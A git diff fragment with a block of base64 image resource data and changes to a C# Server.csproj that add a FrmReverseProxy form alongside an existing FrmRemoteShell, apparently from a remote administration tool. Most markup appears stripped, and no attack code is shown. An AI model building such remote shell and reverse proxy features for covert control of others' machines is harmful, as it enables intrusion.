+ /wH///8B////Ac3BvsP50cX/+s7B//nMvv/6zsD/+tDC//rQwv/60MP/+s7A//nLvf/5yLn/+ce3//nI
+ uf/5ybr/+cm4//jHtP+yopzLsaqnA////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8BloR7X+Oce//2rIr/97KU//e2mf/4vaP/+sCq//nAqP/5vqf/+Luj//e6
+ of/3u6P/97ui//a7ov/3vaX/+MOu//DCsv/Lw8CX////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wHGvbov2sG5+/rRxP/60cT/+s/B//rPwf/6z8D/+s6///rO
+ v//5y7z/+ci3//jDsf/4w7H/+Ma0//nItf/5x7T/5Lin/7GopWn///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8BkoF5E7OFbun3qIX/966N//ewkP/3tpn/+Lui//m9
+ o//5vKT/+Lqg//i4nf/4uJ7/+Lmf//e4nv/3uJ7/97yi//jAqf/RurLrzsbDE////wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbuxrpHzzL3/+tDA//rR
+ wf/60cH/+s+///nMvP/5y7r/+cq4//nHtP/4w67/+MCs//jCrf/4xLD/+MWx//fEr//JrqPvvLKvGf//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AY93apn1spL/+LOT//et
+ iv/3sI//+Lea//m5nf/4up//+Lid//i2mf/4tZj/+Laa//i2mv/3tpr/9raZ//e5nv/jtKL/y8PAZ///
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wG6s7APxbu46frQv//5zr3/+dC///nRwf/5zr3/+cu4//nItP/4xbH/+MKs//i/qP/4vqf/+MGq//jC
+ rf/4w67/876p/7uvqqX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYl4
+ bznMiWf99qR7//engP/3qoX/97GQ//i1lf/4t5j/+Lia//ezlP/3spP/97KU//ezlf/3tJb/97SV//az
+ lP/1tZn/xravy8rCvwP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////AbKrqF/jvq//+cu3//nOvP/51MT/+M68//nNu//4ybT/+MOt//jB
+ qv/4vqb/97uh//e9o//4vqb/+MCp//nBqv/dtKP/wLi0Rf///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AX52cgOZcl7P9Jts//Wecv/1onj/9qqE//ewjP/3sY//+LSU//ezkv/2sI3/9rCN//aw
+ jv/2sY//9rGQ//axj//2spL/0qqX/cvAuzf///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bt6ehw/fFr//5z7v/+cy3//nM
+ tv/5zLf/+dC9//jFr//4wKj/972k//e6n//3uJv/97qf//i9pP/4v6b/+L+m/8ayqeG4s7EP////Af//
+ /wH///8B////Af///wH///8B////Af///wGEgoAzkYV/w52NhMOlk4rDr5+Wy7Wmns+8rKPPva2lz7+w
+ qM/FtKvPx7Srz8Oxp9vItavbyret28u4rtvQvLHb0r6028e+uZP///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Abiv
+ qy3Jv7rL0MW/z9LGwM/EuLLHu6+pw7irpcOzpZ7DtaWewcOvpr3CrKK9wKmfvcConb3HsKW3x7Gnt8my
+ p7e+raW3rq2sWf///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
+
+
+
\ No newline at end of file
diff --git a/Server/Server.csproj b/Server/Server.csproj
index edf98d48..2802312e 100644
--- a/Server/Server.csproj
+++ b/Server/Server.csproj
@@ -50,6 +50,7 @@
lib\Mono.Cecil.dll
+
@@ -203,6 +204,13 @@
+
+
+
+
+
+
+
@@ -263,6 +271,12 @@
FrmRemoteShell.cs
+
+ Form
+
+
+ FrmReverseProxy.cs
+
Form
@@ -354,6 +368,9 @@
FrmRemoteShell.cs
+
+ FrmReverseProxy.cs
+
FrmSettings.cs